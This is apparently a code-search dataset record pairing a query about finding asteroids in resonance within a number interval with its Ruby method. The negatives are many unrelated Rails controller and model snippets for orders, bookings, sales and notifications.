return\n end\n if codeCustomer != 404 and codeItem == 404\n render json: {error: \"Item does not exist\"}, status: 400\n return\n end\n else\n @order = Order.new\n @order.customerid = dataCustomer[\"id\"]\n @order.email = dataCustomer[\"email\"]\n @order.itemid = order_params[:itemid]\n @order.description = dataItem[\"description\"]\n @order.award = newParams[\"award\"]\n @order.total = newParams[\"total\"]\n @order.price = newParams[\"price\"]\n \n orderResult = HTTParty.put('http://localhost:8081/customers/order', \n :body => @order.to_json,\n :headers => {'Content-Type' => 'application/json', 'ACCEPT' => 'application/json'}\n )\n\n res = HTTParty.put(\"http://localhost:8082/items/#{order_params[:itemid]}?stockQty=#{dataItem['stockQty']-1}&description=#{dataItem['description']}&price=#{dataItem['price']}&id=#{order_params[:id]}\")\n p res\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n \n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n @reservation = Reservation.new(params[:reservation])\n @reservation.user_id = current_user.id\n\n respond_to do |format|\n if @reservation.save\n\n # UserMailer.booking_create(current_user, @reservation).deliver\n # OwnerMailer.booking_create(@reservation).deliver\n\n Reward.create( user_id: @reservation.user_id, \n reservation_id: @reservation.id, \n points_total: 5*@reservation.party_size, \n points_pending: 5*@reservation.party_size, \n description: \"\")\n \n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render json: @reservation, status: :created, location: @reservation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end", "def assign_right_no\n no = self.request_no\n id = self.id rescue nil\n if ((no.blank? || ContractingRequest.exists?(request_no: no)) && id.nil?)\n no = cr_next_no(self.project_id)\n if no == '$err'\n no = self.request_no\n end\n end\n self.request_no = no\n end", "def create\n @num = if Brony.last.nil?\n 1\n else\n Brony.last.select(:number_brony).to_i + 1\n end\n @id_bilet = get_id\n @brony = Brony.new(id_ticket: @id_bilet, number_brony: @num, time_broby: Time.now)\n\n respond_to do |format|\n if @brony.save\n format.html { redirect_to @brony, notice: 'Brony was successfully created.' }\n format.json { render :show, status: :created, location: @brony }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @brony.errors, status: :unprocessable_entity }\n end\n end\n #@brony.save\n #render json: { brony_number: @brony.number_brony }\n\n # check_time\n end", "def add_lower_body(db, name, complete, user_id)\n\tcomplete = \"incomplete\"\n\tdb.execute(\"INSERT INTO lower_body (name, complete, user_id) VALUES (?,?,?)\", [name, complete, user_id])\n\tputs \"added leg workout\"\nend", "def save_edited_details\n RoutingSheetDetail.transaction do\n @routing_sheet_id = -1\n $routing_sheets_details.each do |detail|\n @who_received=params['who_received_' + ($routing_sheets_details.index(detail) + 1).to_s]\n @reason_id=params['reason_id_' + ($routing_sheets_details.index(detail) + 1).to_s]\n @to_route = params['to_route_' + ($routing_sheets_details.index(detail) + 1).to_s]\n @detail_to_update=detail\n @product=Product.where(id: detail.product_id).first\n valid_received=/^\\D{4,35}$/.match(@who_received)\n if(!valid_received.nil?) \n ##Actualizo el detalle\n @detail_to_update.update_attribute(:who_received, @who_received)\n @detail_to_update.update_attribute(:received,'s') ## s= fue recibido el producto\n ##Actualizo el estado del producto a \"Entregado\" y la fecha en que recibio el producto\n \n @product.update_attribute(:product_state_id,ProductState.recibido) ## id 6=\"Recibido\" ProductState.where(\"state_name='Recibido'\").first.id\n @product.update_attribute(:received_at, @product.format_admission_date)\n else\n #Actualizo el motivo por el cual no se entrego el producto\n #En caso de que el motivo sea \"Producto Extraviado en el reparto\n #actualizo el estado del producto a extraviado, sino a \"No recibido\"\n @detail_to_update.update_attribute(:reason_id, @reason_id)\n \n if @reason_id.to_i == 14 # Rason de \"Producto Extraviado\"\n @product.update_attribute(:product_state_id,ProductState.extraviado) ## id 4= Extraviado\n else \n if @reason_id.to_i == 15 # Rason de \"Cancelado a pedido del cliente\"\n @product.update_attribute(:product_state_id,ProductState.devuelto ) ## id 3= Devuelto\n else\n ## Si se marco la opcion para volver a rutear a \"no\", entonces coloco el estado a \"no recibido\"\n if @to_route.to_s == \"no\"\n @product.update_attribute(:product_state_id,ProductState.no_recibido) ## id 7= No recibido \n else\n # Si se marco a \"si\", este producto cambia su estado a \"Pendiente\", y puede volver a rutearse\n @product.update_attribute(:product_state_id,ProductState.pendiente)\n end\n end\n end\n end\n \n ##Obtengo el id de la hoja de ruta \n @routing_sheet_id=detail.routing_sheet_id\n end\n if(@routing_sheet_id != -1)\n @routing_sheet=RoutingSheet.where(id: @routing_sheet_id).first\n ##Cambio el estado de la hoja de ruta a procesado.\n @routing_sheet.update_attribute(:routing_sheet_state_id, 2 ) ## id 2 =\"Procesado\"\n end\n end\n respond_to do |format|\n format.html { redirect_to @routing_sheet, notice: 'Los detalles se actualizaron correctamente' }\n format.json { render json: @routing_sheet, status: :created, location: @routing_sheet }\n end\n end", "def create\n # パラメータにエンジンIDがある場合、まずエンジンに、作業中の整備オブジェクトの取得を試みる\n engine = Engine.find(params[:repair][:engine_id])\n @reapir = engine.current_repair\n\n # 作業中の整備オブジェクトが存在しない場合、整備オブジェクトを作って、当該のエンジンに紐づける\n if @reapir.nil?\n @repair = Repair.new(repair_params) \n @repair.issue_no = Repair.createIssueNo\n @repair.issue_date = Date.today\n @repair.engine = engine\n end\n\n # エンジンのステータスをセットする。\n setEngineStatus\n @repair.engine.save\n \n respond_to do |format|\n if @repair.save\n format.html { redirect_to @repair, notice: t(\"controller_msg.repair_created\") }\n format.json { render action: 'show', status: :created, location: @repair }\n else\n format.html { render action: 'new' }\n format.json { render json: @repair.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_receiver\n # se limpia los datos y se guarda el nuevo destinatario\n name = params[:receiver_name]\n document = params[:document]\n Receiver.transaction do \n receiver = Receiver.create(receiver_name: name, document: document );\n \n addresses = []\n params[:addresses].each do |address|\n number = address[0]\n place = address[1][:place]\n city_id = address[1][:city_id]\n address = address[1][:address]\n \n address = ReceiverAddress.create(label: place, address: address, city_id: city_id, receiver_id: receiver.id)\n end\n CustomLogger.info(\"Se guarda el destinatario: #{receiver.inspect}, usuario: #{current_user.username}, #{Time.now}\")\n end\n @object={success: 1}\n respond_to do |format|\n format.html \n format.json { render json: @object}\n end\n \n end", "def create\n @ip_due = IpDue.new\n\t@session_id=session[:id]\n\t@session = Session.find(session[:id])\n\t@person = Person.find(@session.person_id)\n @ip_due = IpDue.new(params[:ip_due])\n\t@final_bill=FinalBill.find_by_admn_no_and_org_code(@ip_due.admn_no,@ip_due.org_code)\n\t@final_bill.paid_amount=@ip_due.remaining_amount+@final_bill.paid_amount\n\t@final_bill.balance_amount=0\n\t@n=Number.new\n\tupdate_reciept_value=@n.retrive_value(\"receipt\",@ip_due.org_code)\n\t@ip_due.receipt_no=update_reciept_value\n\tuser_id=params[:user_id]\n respond_to do |format|\n if @ip_due.save\n\t @n=Number.find_by_name_and_org_code(\"receipt\",@ip_due.org_code)\n\t\t@n.value=@ip_due.receipt_no\n\t\t@n.update_attributes(params[:n])\n @final_bill.update_attributes(params[:final_bill])\n\t\tformat.html { redirect_to(\"/ip_dues/report/#{@ip_due.id}?print_type=original&format=pdf\", :notice => 'FinalBill was successfully created.') } \n\t format.xml { render :xml => @ip_due, :status => :created, :location => @ip_due }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ip_due.errors, :status => :unprocessable_entity }\n end\n end\n end", "def add_recurring_fields(rebill_first_date, rebill_expr, reb_cycles, reb_amount)\n @PARAM_HASH['REBILLING'] = '1'\n @PARAM_HASH['REB_FIRST_DATE'] = rebill_first_date\n @PARAM_HASH['REB_EXPR'] = rebill_expr\n @PARAM_HASH['REB_CYCLES'] = reb_cycles\n @PARAM_HASH['REB_AMOUNT'] = reb_amount\n end", "def add_ranked_query_result\n \n @query_result = Retreval::RankedQueryResult.new :query => \"query1\", :gold_standard => @gold_standard\n \n @query_result.add_document :id => \"doc1\"\n @query_result.add_document :id => \"doc2\"\n @query_result.add_document :id => \"doc5\"\n @query_result.add_document :id => \"doc3\"\n @query_result.add_document :id => \"doc6\"\n @query_result.add_document :id => \"doc4\"\n @query_result.add_document :id => \"doc7\"\n @query_result.add_document :id => \"doc8\"\n @query_result.add_document :id => \"doc9\"\n @query_result.add_document :id => \"doc10\"\n \n end", "def additem\n @retailorderdetail = Retailorderdetail.new\n @retailcrop = Retailcrop.find(params[:id]) \n @cropplan = Cropplan.find(@retailcrop.cropplan_id) \n @retailorderdetail.user_id = session[:s_user_id]\n @retailorderdetail.retailorder_id = session[:s_retailorder_id]\n @retailorderdetail.cropplan_id = @retailcrop.cropplan_id\n @retailorderdetail.retailcrop_id = @retailcrop.id\n @retailorderdetail.detail_qty = 0\n @retailorderdetail.detail_price = @retailcrop.sales_price\n @retailorderdetail.detail_uom = @retailcrop.sales_uom\n @retailorderdetail.detail_notes = @retailcrop.sales_notes\n @retailorderdetail.detail_ext_amount = 0\n @retailorderdetail.detail_shipcharge = @retailcrop.ship_charge\n @retailorderdetail.detail_status = 'New'\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @retailorderdetail }\n end\n end", "def create \n if InfoNode.duplicate_key?(params[:info_types])\n redirect_to :back, :alert => \"Key in the additional information shoud be unique\"\n return\n end\n\n unless params[:rid].nil?\n @rid = params[:rid].strip\n end\n\n @type = params[:type] \n\n @refs = []\n\n params[:refids].each_with_index do |ref_id, idx|\n @refs << {:ref_id => ref_id, :role => params[:labels][idx]}\n end unless params[:refids].nil?\n\n if @refs.empty?\n redirect_to :back, :alert => \"Please add references for a new relation\"\n return\n end\n\n @info_nodes = {}\n (0...params[:info_types].size).each do |i|\n key = params[:info_types][i]\n value = params[:info_values][i]\n if !key.nil? && !key.strip.blank? && !value.nil? && !value.strip.blank?\n @info_nodes[key] = value\n end\n end\n\n begin\n @collection = current_user.collections.find(params[:collection_id])\n raise \"Cannot find the collection No. #{params[:collection_id]}\" if @collection.nil?\n \n @document = @collection.documents.find_by_pmid(params[:document_id])\n raise \"Cannot find the document No. #{params[:document_id]}\" if @document.nil?\n \n @rid = @document.create_new_relation_id if @rid.blank?\n \n @relation = @document.create_relation(@rid, @type, @refs, @info_nodes)\n\n respond_to do |format|\n format.html { redirect_to \"/collections/#{@collection.id}/documents/#{@document.pmid}?tab=relation\", :notice => 'Relation was successfully created.' }\n format.json { render :json => @relation, :status => :created, :location => @relation }\n end\n rescue Exception => e\n logger.debug(e.backtrace)\n respond_to do |format|\n format.html { redirect_to :back, :alert => e.message}\n format.json { render json: @relation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cautelaarmamento = Cautelaarmamento.new(cautelaarmamento_params)\n\n respond_to do |format|\n if @cautelaarmamento.save\n \n #retirando itens cautelados da reserva \n @reservaarmamento=Reservaarmamento.where(id: @cautelaarmamento.reservaarmamento_id,\n reserva_id: @cautelaarmamento.cautela.reserva_id)\n qtd_reserva=0\n @reservaarmamento.each do |reservaarmamento| \n qtd_reserva = reservaarmamento.qtd_armamento\n end\n qtd_armamento_cautela = @cautelaarmamento.qtd_armamento\n qtd_atualizar = qtd_reserva - qtd_armamento_cautela \n @reservaarmamento.update(qtd_armamento: qtd_atualizar)\n mensagem ='O Item foi Adicionado com Sucesso!'\n \n format.html { redirect_to \"/cautelaarmamentos?cautela_id=\"+@cautelaarmamento.cautela_id.to_s+\"&reserva_id=\"+@cautelaarmamento.cautela.reserva_id.to_s, notice: mensagem}\n format.json { render :show, status: :created, location: @cautelaarmamento }\n else\n format.html { render :new }\n format.json { render json: @cautelaarmamento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n params[:refill_type] = params[:refill_type].to_i\n params[:status] = params[:status].to_i\n params[:cost_basis] = params[:cost_basis].to_i\n params[:other_coverage_code] = params[:other_coverage_code].to_i\n params[:reason_for_delay] = params[:reason_for_delay].to_i\n params[:partial_fill_status] = params[:partial_fill_status].to_i\n params[:reported_to_pmp] = params[:reported_to_pmp].to_i\n\n @dispense = Dispense.new(dispense_params)\n\n respond_to do |format|\n if @dispense.save\n format.html { redirect_to @dispense, notice: 'Dispense was successfully created.' }\n format.json { render :show, status: :created, location: @dispense }\n else\n format.html { render :new }\n format.json { render json: @dispense.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_price(asin, title, price_s, price_i, day, day_i)\r\n $db.execute(\"INSERT INTO prices (asin, title, price_s, price_i, day, day_i) VALUES (?,?,?,?,?,?)\", [asin, title, price_s, price_i, day, day_i])\r\nend", "def create\n if @user.hearts >= @reward.cost\n @redemption = Redemption.new()\n @redemption.user = @user\n @redemption.cost = @reward.cost\n @redemption.reward = @reward\n\n if @reward.ifttt?\n key = ENV[\"IFTTT_KEY\"]\n\turl = \"https://maker.ifttt.com/trigger/#{@user.account}#{@reward.event}/with/key/#{key}\"\n\tresponse = RestClient.get url\n\n\trespond_to do |format|\n\t if response.code == 200 && @redemption.save\n @user.hearts = @user.hearts - @reward.cost\n @user.save!\n\n format.json { render json: @redemption.as_json(include: {reward: {only: :name}}).merge({hearts: @user.hearts}), status: :created }\n else\n format.json { render json: nil, status: :not_acceptable }\n end\n end\n elsif @reward.cash?\n \trespond_to do |format|\n if @redemption.save\n @user.hearts = @user.hearts - @reward.cost\n\t @user.save!\n\t SmsMailer.sms_email(Admin.all.first).deliver\n\n\t format.json { render json: @redemption.as_json(include: {reward: {only: :name}}).merge({hearts: @user.hearts}), status: :created }\n\t else\n\t format.json { render json: nil, status: :not_acceptable }\n\t end\n\tend\n end\n else\n respond_to do |format|\n format.json { render json: {message: \"Not enough hearts!\"}, status: :not_acceptable }\n end\n end\n end", "def addToTicket\n\t ticket = Ticket.where(table: session[:table_id]).last\n\t if (ticket.nil?) || (ticket.tstatus == 9)\n\t ticket = Ticket.create(table: session[:table_id], \n\t\t\t\t\t\t\t\t\t\ttax: 0, \n\t\t\t\t\t\t\t\t\t\ttstatus: 0, \n\t\t\t\t\t\t\t\t\t\tbirthday: false,\n\t\t\t\t\t\t\t\t\t\tcoupon: false,\n\t\t\t\t\t\t\t\t\t\tpoints: false\t )\n\t\t# Add 1 to ticket counter \n\t count = Totalticket.first\n\t # reset survey variable\n\t session[:survey] = false\n\t count.update(:total => count.total + 1)\n\t puts(\"**********Ticket created************\")\n\t end\n\t ticket.orderItems.create(\n\t item: (Menuitem.find_by(name: params[:item_name]).id),\n\t ingredients: params[:good_ingredients],\n\t notes: params[:notes],\n\t istatus: 0\n\t )\n\t session[:ticket] = ticket\n\t puts(\"**************Ticket added to***********\")\n\t calcTotal\n\t redirect_to guest_path\n\t \n\tend", "def create\n get_data\n @sale_detail = @sale.details.create(params[:sale_detail])\n @sale_detail.quantity = 1 if @sale_detail.quantity.to_i==0\n get_data\n end", "def create\n @cautelamunicao = Cautelamunicao.new(cautelamunicao_params)\n\n respond_to do |format|\n if @cautelamunicao.save\n #retirando itens cautelados da reserva \n @reservamunicao=Reservamunicao.where(id: @cautelamunicao.reservamunicao_id,\n reserva_id: @cautelamunicao.cautela.reserva_id)\n qtd_reserva=0\n @reservamunicao.each do |reservamunicao| \n qtd_reserva = reservamunicao.qtd_municao\n end\n qtd_municao_cautela = @cautelamunicao.qtd_municao\n qtd_atualizar = qtd_reserva - qtd_municao_cautela \n @reservamunicao.update(qtd_municao: qtd_atualizar)\n mensagem ='O Item foi Adicionado com Sucesso!'\n \n format.html { redirect_to \"/cautelamunicaos?cautela_id=\"+@cautelamunicao.cautela_id.to_s+\"&reserva_id=\"+@cautelamunicao.cautela.reserva_id.to_s, notice: mensagem}\n format.json { render :show, status: :created, location: @cautelamunicao }\n else\n format.html { render :new }\n format.json { render json: @cautelamunicao.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(body: :unset, priority: :unset, ttl: :unset, title: :unset, sound: :unset, action: :unset, data: :unset, apn: :unset, gcm: :unset, sms: :unset, facebook_messenger: :unset, fcm: :unset, segment: :unset, alexa: :unset, to_binding: :unset, identity: :unset, tag: :unset)\n data = Twilio::Values.of({\n 'Identity' => identity,\n 'Tag' => tag,\n 'Body' => body,\n 'Priority' => priority,\n 'Ttl' => ttl,\n 'Title' => title,\n 'Sound' => sound,\n 'Action' => action,\n 'Data' => Twilio.serialize_object(data),\n 'Apn' => Twilio.serialize_object(apn),\n 'Gcm' => Twilio.serialize_object(gcm),\n 'Sms' => Twilio.serialize_object(sms),\n 'FacebookMessenger' => Twilio.serialize_object(facebook_messenger),\n 'Fcm' => Twilio.serialize_object(fcm),\n 'Segment' => segment,\n 'Alexa' => Twilio.serialize_object(alexa),\n 'ToBinding' => to_binding,\n })\n\n payload = @version.create(\n 'POST',\n @uri,\n data: data\n )\n\n NotificationInstance.new(@version, payload, service_sid: @solution[:service_sid],)\n end", "def respond(type, empty, number)\n if !empty\n $ballers.update({ 'number' => number }, { '$set' => { 'balling' => type } })\n 'Response stored.'\n else\n 'There is no request active right now.'\n end\nend", "def create\n @calculation = Calculation.find_or_initialize_by(calculation_params)\n\n @calculation.request_count =+ 1\n @calculation.save\n rescue\n\n end", "def save_detail() \n check_purchase_date(self.date_purchase,self.value, self.scrap_value,self.valuable_age) \n AccountingFixedAssetDetail.create(\n :transaction_date => self.date_purchase,\n :asset_values => self.value, \n :depreciation_values => $value,\n :aje_values => self.value - $value,\n :fixed_asset_id => self.id,\n :account_id => get_account_id(self.adjustment_account_id)\n )\n end", "def addBeers\n\t\tif(validateParams)\n\t\t\t@response\n\t\telse\n\t\t\tinformation = params[:information] ? params[:information] : ''\n\t\t\tnumberBeers = params[:numberBeers].to_i\n\t\t\t\n\t\t\t@stadium=Stadium.find(params[:stadium_id])\n\t\t\tstock = @stadium.stockBeers.to_i+numberBeers\n\n\t\t\tprice = numberBeers*(@stadium.priceBeer/10)\n\t\t\tsale=Sale.create(stadium_id: @stadium.id,n_beers: numberBeers,price: price,information: information,type_transaction: 1)\n\t\t\tif(sale)\n\t\t\t\t@stadium.update(:stockBeers => stock);\n\t\t\t\t@response= { msg: 'Transacction has been completed successfully' , error: false, id: sale.id}\n\t\t\telse\n\t\t\t\t@response= { msg: 'Transacction error, please try again later' , error: true}\n\t\t\tend\n\n\t\tend\n\tend", "def store_score(body)\n data = parse_score(body)\n if data\n DYNAMODB.put_item({\n table_name: TABLE_NAME,\n item: data\n })\n true\n else\n false\n end\nend", "def add_booking_charge(date, amount, payment_method_id)\n\n transaction do\n charge = Payments::Charge.new\n charge.date = date\n charge.amount = amount\n charge.payment_method_id = payment_method_id\n charge.status = :pending\n charge.currency = SystemConfiguration::Variable.get_value('payments.default_currency', 'EUR')\n charge.save\n booking_charge = BookingDataSystem::BookingCharge.new\n booking_charge.booking = self\n booking_charge.charge = charge\n booking_charge.save\n charge.update(:status => :done)\n self.reload\n # Create newsfeed\n ::Yito::Model::Newsfeed::Newsfeed.create(category: 'booking',\n action: 'add_booking_charge',\n identifier: self.id.to_s,\n description: BookingDataSystem.r18n.t.booking_news_feed.added_booking_charge(\".2f\" % amount, payment_method_id),\n attributes_updated: {date: date, amount: amount, payment_method_id: payment_method_id}.merge({booking: newsfeed_summary}).to_json)\n end\n\n end", "def add_new_questions\n questionnaire_id = params[:id]\n # If the questionnaire is being used in the active period of an assignment, delete existing responses before adding new questions\n if AnswerHelper.check_and_delete_responses(questionnaire_id)\n flash[:success] = 'You have successfully added a new question. Any existing reviews for the questionnaire have been deleted!'\n else\n flash[:success] = 'You have successfully added a new question.'\n end\n\n questionnaire = Questionnaire.find(questionnaire_id)\n current_num_of_questions = questionnaire.questions.size\n max_seq = 0\n Questionnaire.find(questionnaire_id).questions.each do |question|\n if !question.seq.nil? && question.seq > max_seq\n max_seq = question.seq\n end\n end\n ((current_num_of_questions + 1)..(current_num_of_questions + params[:question][:total_num].to_i)).each do\n max_seq += 1\n # Create question object based on type using question_factory\n question = question_factory(params[:question][:type], questionnaire_id, max_seq)\n if question.is_a? ScoredQuestion\n question.weight = params[:question][:weight]\n question.max_label = Question::MAX_LABEL\n question.min_label = Question::MIN_LABEL\n end\n\n if Question::SIZES.key?(question.class.name)\n question.size = Question::SIZES[question.class.name]\n end\n if Question::ALTERNATIVES.key?(question.class.name)\n question.alternatives = Question::ALTERNATIVES[question.class.name]\n end\n\n begin\n question.save\n rescue StandardError => e\n flash[:error] = e.message\n end\n end\n redirect_to edit_questionnaire_path(questionnaire_id.to_sym)\n end", "def create_folio\n rs = Folio.new\n rs.input_type_id = params[:input_type_id]\n #rs.folio_no = gen_folio_no\n rs.remark = params[:remark]\n if rs.save\n respond_to do |format|\n format.json { render json: {success: true} }\n end\n else\n respond_to do |format|\n format.json { render json: {success: false} }\n end\n end\n end", "def aggregate(uri, body = nil, content_type = 'text/plain')\n resource = ROSRS::Resource.create(self, uri, body, content_type)\n load unless loaded?\n @resources[resource.uri] = resource\n end", "def create\n @recibo = Recibo.find(params[:recibo_id])\n @renglon_recdetalle = @recibo.renglon_recdetalles.create(params[:renglon_recdetalle])\n\n respond_to do |format|\n if @renglon_recdetalle.save\n format.html { redirect_to @recibo, notice: 'Renglon recdetalle was successfully created.' }\n format.json { render json: @renglon_recdetalle }\n else\n format.html { render action: \"new\" }\n format.json { render json: @renglon_recdetalle.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @rfc = Rfc.new(rfc_params)\n \n unless params[:uraian_perubahan].nil?\n @array = []\n @array = params[:uraian_perubahan]\n @rfc.uraian_perubahan = @array\n end\n\n unless params[:link].nil?\n @array = []\n @array = params[:link]\n @rfc.link = @array\n end\n\n unless params[:status_uraian].nil?\n @array = []\n @array = params[:status_uraian]\n @rfc.status_uraian = @array\n end\n \n respond_to do |format|\n if @rfc.save\n if params[:next_line]\n format.html { redirect_back(fallback_location: root_path, notice: \"Rfc was successfully created.\") }\n format.json { render :show, status: :created, location: @rfc }\n else\n format.html { redirect_to @rfc, notice: \"Rfc was successfully created.\" }\n format.json { render :show, status: :created, location: @rfc }\n end\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @rfc.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_book(quantity)\n \n #increase the quantity and available for loaning\n self.quantity += quantity\n self.available += quantity\n\n #save the model\n self.save\n end", "def create\n @number = Number.new(number_params)\n\n if !@number.business_number.blank?\n @number.business_number = \"+1\"+Phony.normalize(@number.business_number) \n end\n\n begin \n @client = Twilio::REST::Client.new BwCallTracking::Application.config.account_sid, BwCallTracking::Application.config.auth_token \n number = @client.account.incoming_phone_numbers.create(:area_code => @number.area_code[1..3], :voice_url => BwCallTracking::Application.config.voice_url, :status_callback => BwCallTracking::Application.config.voice_url)\n @number.tracking_number = number.phone_number\n rescue StandardError => e\n puts \"ERROR: \"+e.message \n end \n\n respond_to do |format|\n if @number.save\n format.html { redirect_to numbers_url, notice: 'Number was successfully created.' }\n format.json { render :show, status: :created, location: @number }\n else\n format.html { render :new }\n format.json { render json: @number.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @reservaacessorio = Reservaacessorio.new(reservaacessorio_params)\n\n if @reservaacessorio.qtd_acessorio.nil? ||@reservaacessorio.qtd_acessorio<=0\n redirect_to \"/reservaacessorios?reserva_id=\"+@reservaacessorio.reserva_id.to_s,notice: 'Informe uma quantidade válida!' \n else \n respond_to do |format|\n \n if @reservaacessorio.save\n format.html { redirect_to \"/reservaacessorios?reserva_id=\"+@reservaacessorio.reserva_id.to_s,notice: 'Item criado com sucesso!' }\n format.json { render :show, status: :created, location: @reservaacessorio }\n else\n format.html { render :new }\n format.json { render json: @reservaacessorio.errors, status: :unprocessable_entity }\n end\n end \n \n #Atualização da reserva total quando há a inclusão de um novo acessorio \n # @controle = Controle.where(reserva_id: @reservaacessorio.reserva_id) \n # @controle.each do |controle|\n # qtd = controle.qtd_acessorio\n # qtd= qtd + @reservaacessorio.qtd_acessorio\n # @controle.update(qtd_acessorio: qtd)\n # end\n end\n end", "def create\n product_exists = false\n product_id = params[:sale_details][:product_id].to_i\n @sale.sale_details.each do |detail|\n if detail.product_id == product_id\n product_exists = true\n @sale_detail = detail\n @save_sale_detail = detail.id\n break\n end\n end\n if product_exists\n @sale_detail.qty += params[:sale_details][:qty].to_i\n @sale_detail.price = params[:sale_details][:price].to_f\n @sale_detail.save!\n else\n sale_detail = SaleDetail.new(sale_detail_params)\n if @sale.sale_details.last.nil?\n sale_detail.number = 1\n else\n sale_detail.number = @sale.sale_detils.last.number + 1\n end\n @sale.sale_details << sale_detail\n end\n @sale.save!\n end", "def create_rental(options = {})\n post(:rentals, rentals: [options]).pop\n end", "def create\n \n inv_trip_params = invoiced_trip_params.merge(:total_amount => (invoiced_trip_params[\"amount\"].to_d/\n Conversion.find_by_sql([\"SELECT * FROM conversions where conversions.currency_id = ? and \n conversions.date <= ? order by conversions.date asc\", invoiced_trip_params[\"currency_id\"], \n Date.new(invoiced_trip_params[\"date(1i)\"].to_i,invoiced_trip_params[\"date(2i)\"].to_i,\n invoiced_trip_params[\"date(3i)\"].to_i)])[0][\"conversion_rate\"]).round(2))\n\n @invoiced_trip = InvoicedTrip.new(inv_trip_params)\n \n if @invoiced_trip.brand != nil #_params.fetch(:brand).to_s.size\n @invoiced_trip.StartDate = Invoice.find_by(id: @invoiced_trip.invoice_id).date\n @invoiced_trip.typeT = true\n @invoiced_trip.save\n end\n\n @pricing = Pricing.find_by_sql([\"SELECT * FROM pricings where pricings.client_id = ? \n and pricings.DATETIME <= ? order by pricings.DATETIME desc\", @invoiced_trip.client_id, @invoiced_trip.StartDate ])\n \n if @invoiced_trip.typeT == 0\n @invoiced_trip.surcharge = @pricing[0].surcharge\n @invoiced_trip.price_per_km = @pricing[0].price_per_km\n else\n @invoiced_trip.surcharge = 0\n @invoiced_trip.price_per_km = 0\n end\n\n\n if @invoiced_trip.images.count>0\n @invoiced_trip.images.attach(params[:invoiced_trip][:images])\n end\n\n if @invoiced_trip.bill_of_lading.count>0\n @invoiced_trip.bill_of_lading.attach(params[:invoiced_trip][:images])\n end\n\n if @invoiced_trip.export_document.count>0\n @invoiced_trip.export_document.attach(params[:invoiced_trip][:images])\n end\n \n respond_to do |format|\n if @invoiced_trip.save\n format.html { redirect_to @invoiced_trip, notice: 'Invoiced trip was successfully created.' }\n format.json { render :show, status: :created, location: @invoiced_trip }\n else\n format.html { render :new }\n format.json { render json: @invoiced_trip.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def create\n @res_allocation = ResAllocation.new(params[:res_allocation])\n\n respond_to do |format|\n if @res_allocation.save\n format.html { redirect_to @res_allocation, notice: 'Res allocation was successfully created.' }\n format.json { render json: @res_allocation, status: :created, location: @res_allocation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @res_allocation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_inquiry(rental, options = {})\n post(\"rentals/#{rental}/inquiries\", inquiries: [options]).pop\n end", "def create\n @agreement_renewal = AgreementRenewal.new(agreement_renewal_params)\n\n respond_to do |format|\n if @agreement_renewal.save\n Franchisee.find(@agreement_renewal.franchisee_id).update(latest_renewal: @agreement_renewal.renewed_date)\n format.html { redirect_to franchisees_path, notice: 'Agreement renewal was successfully created.' }\n format.json { render :show, status: :created, location: @agreement_renewal }\n else\n format.html { render :new }\n format.json { render json: @agreement_renewal.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @requisition = Requisition.new(params[:requisition])\n\n respond_to do |format|\n if @requisition.save\n format.html { redirect_to @requisition, notice: 'Requisition was successfully created.' }\n format.json { render json: @requisition, status: :created, location: @requisition }\n else\n format.html { render action: \"new\" }\n format.json { render json: @requisition.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.55727786", "0.5414552", "0.54082865", "0.5372017", "0.5306836", "0.52967393", "0.5277086", "0.5268584", "0.52550507", "0.5231991", "0.51906204", "0.5178119", "0.51626855", "0.5160992", "0.51592076", "0.51131296", "0.51053286", "0.5103857", "0.509744", "0.5084057", "0.50640315", "0.5040955", "0.50227696", "0.5013009", "0.5008696", "0.5002703", "0.49988437", "0.49784708", "0.49694806", "0.49684644", "0.49614337", "0.4944474", "0.49346295", "0.49335688", "0.4927867", "0.4925986", "0.49257785", "0.49171254", "0.49156815", "0.49138433", "0.49128634", "0.49123526", "0.49117377", "0.49026662", "0.4894815", "0.48880833", "0.48809174", "0.48781237", "0.48766682", "0.48762903", "0.48751584", "0.48749238", "0.4862164", "0.4861631", "0.48606157", "0.48561007", "0.48539096", "0.48537493", "0.48525697", "0.48522252", "0.4851247", "0.48493898", "0.48480356", "0.4845256", "0.4844665", "0.48416683", "0.48389512", "0.48350972", "0.4829866", "0.48273835", "0.4817672", "0.48170877", "0.4816351", "0.48161963", "0.48138282", "0.48112333", "0.481035", "0.4803989", "0.48017094", "0.47968334", "0.47942823", "0.4784906", "0.47802323", "0.4773294", "0.47727278", "0.47676796", "0.4764536", "0.4763286", "0.47632122", "0.4752878", "0.4749106", "0.47487402", "0.47381738", "0.47379404", "0.47283572", "0.47254822", "0.47252625", "0.4723354", "0.472226", "0.4721189" ]
0.72508407
0
Find all asteroids in resonances for given interval [start, stop] in body numbers start: start of the interval stop: stop of the interval
def find_between(start, stop) asteroids = Array.new File.open(@db_file, 'r').each do |line| arr = line.split(';') tmp = arr[0].to_i if ((tmp >= start) && (tmp <= stop) ) resonance = arr[1].delete('[').delete(']').split(',').map{|x| x.to_f} asteroids.push(Asteroid.new(arr[0], resonance)) end end asteroids end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
